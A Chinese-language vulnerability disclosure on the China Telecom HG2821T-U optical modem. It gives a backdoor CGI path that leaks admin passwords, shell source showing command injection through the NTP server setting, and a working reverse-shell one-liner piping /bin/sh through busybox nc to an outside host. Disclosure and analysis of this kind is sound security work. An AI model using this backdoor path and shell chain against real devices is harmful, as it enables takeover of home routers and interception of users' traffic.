PoC代码利用:https://github.com/C4o/HG2821T-U_PoC
下面是详细分析
1.设备硬软件所属厂商及型号
硬件:电信光猫HG2821T-U
软件:天翼智能网关
2.设备使用范围
该设备是2018年江苏安装电信宽带时附带的光猫。通过源代码审计发现该设备可能存在于如下33个省市 ,代码如下:
3.源代码语言
Linux Shell
4.漏洞发现过程
1)默认后门获取光猫管理端密码(网络上有网站已公开,但是没有该问题同样会通过源代码发现2号漏洞)
代码详情如下:
在baseinfoSet.cgi中发现直接打印了telecomaccount/telecompassword和useraccount/userpassword的等变量,
通过审计该段源代码,发现电信光猫存在后门,可以看到用户管理系统和8080端口上系统的密码密文,后门路径为http://ip:8080/cgi-bin/baseinfoSet.cgi,如图:
密码根据网上公开的解密方式可以进行解密。
2)光猫管理后台一处任意命令执行
代码详情如下:
接受客户端设置的ntp服务器地址:
if [ “$val” != “” ]; then
case $par in “ntp_enabled”) NTPEN=$val ;; “ntpServer1”) NTPSERVER1=$val ;; “ntpServer2”) NTPSERVER2=$val ;; “ntpServer3”) NTPSERVER3=$val ;; “ntpServer4”) NTPSERVER4=$val ;; “ntpServer5”) NTPSERVER5=$val ;; “ntpservertype”) NTPSERVERTYPE=$val ;; “ntpinterval”) NTPINTERVAL=$val ;; esac fi |
选择NTPSERVER1参数跟踪:
if [ “$is_submit” == “1” ]; then
if [ “$NTPEN” == “1” ]; then RETURN_STR=`$INTER_WEB set $IGD_T_NTPServer1 “$NTPSERVER1” \ $IGD_T_NTPServer2 “$NTPSERVER2” \ $IGD_T_NTPServer3 “$NTPSERVER3” \ $IGD_T_NTPServer4 “$NTPSERVER4” \ $IGD_T_NTPServer5 “$NTPSERVER5” \ $IGD_T_X_CT_COM_NTPServerType $NTPSERVERTYPE \ $IGD_T_X_CT_COM_NTPInterval $NTPINTERVAL` RETURN_STR=`$INTER_WEB set $IGD_T_Enable $NTPEN` else RETURN_STR=`$INTER_WEB set $IGD_T_Enable $NTPEN` fi fi |
在获取提交请求后,把NTPSERVER1当做参数通过$inter_web执行某个命令,跟踪inter_web,发现是某个可执行文件,但是发现IPADDRESS参数是通过该文件获取,推测inter_web会去执行某个命令测试ntpserver1的存活性或是其他
接下来根据审计猜想进行测试,漏洞出现在8080端口上的管理端,在设定时间同步服务器处存在远程代码执行,由于光猫并未自带bash,所以使用sh创建一个通信管道,用反引号包裹,再进行反弹,由于光猫内置的是阉割版的linux,所以猜测会有busybox,测试发现busybox带有nc:
/# mknod /tmp/backpipe p
/# /bin/sh 0</tmp/backpipe | busybox nc 192.168.1.2 8888 1>/tmp/backpipe
并使用nc进行反弹的shell的接收,测试发现光猫上使用的是busybox:
同样的方式反弹到临时新建的vultr云主机上:
既然可以获取root shell,那么网络劫持,监听用户流量自然都可以做到。
5.利用限制条件
连接到光猫或其子网上,访问光猫内网地址(默认192.168.1.1)的8080端口的web服务。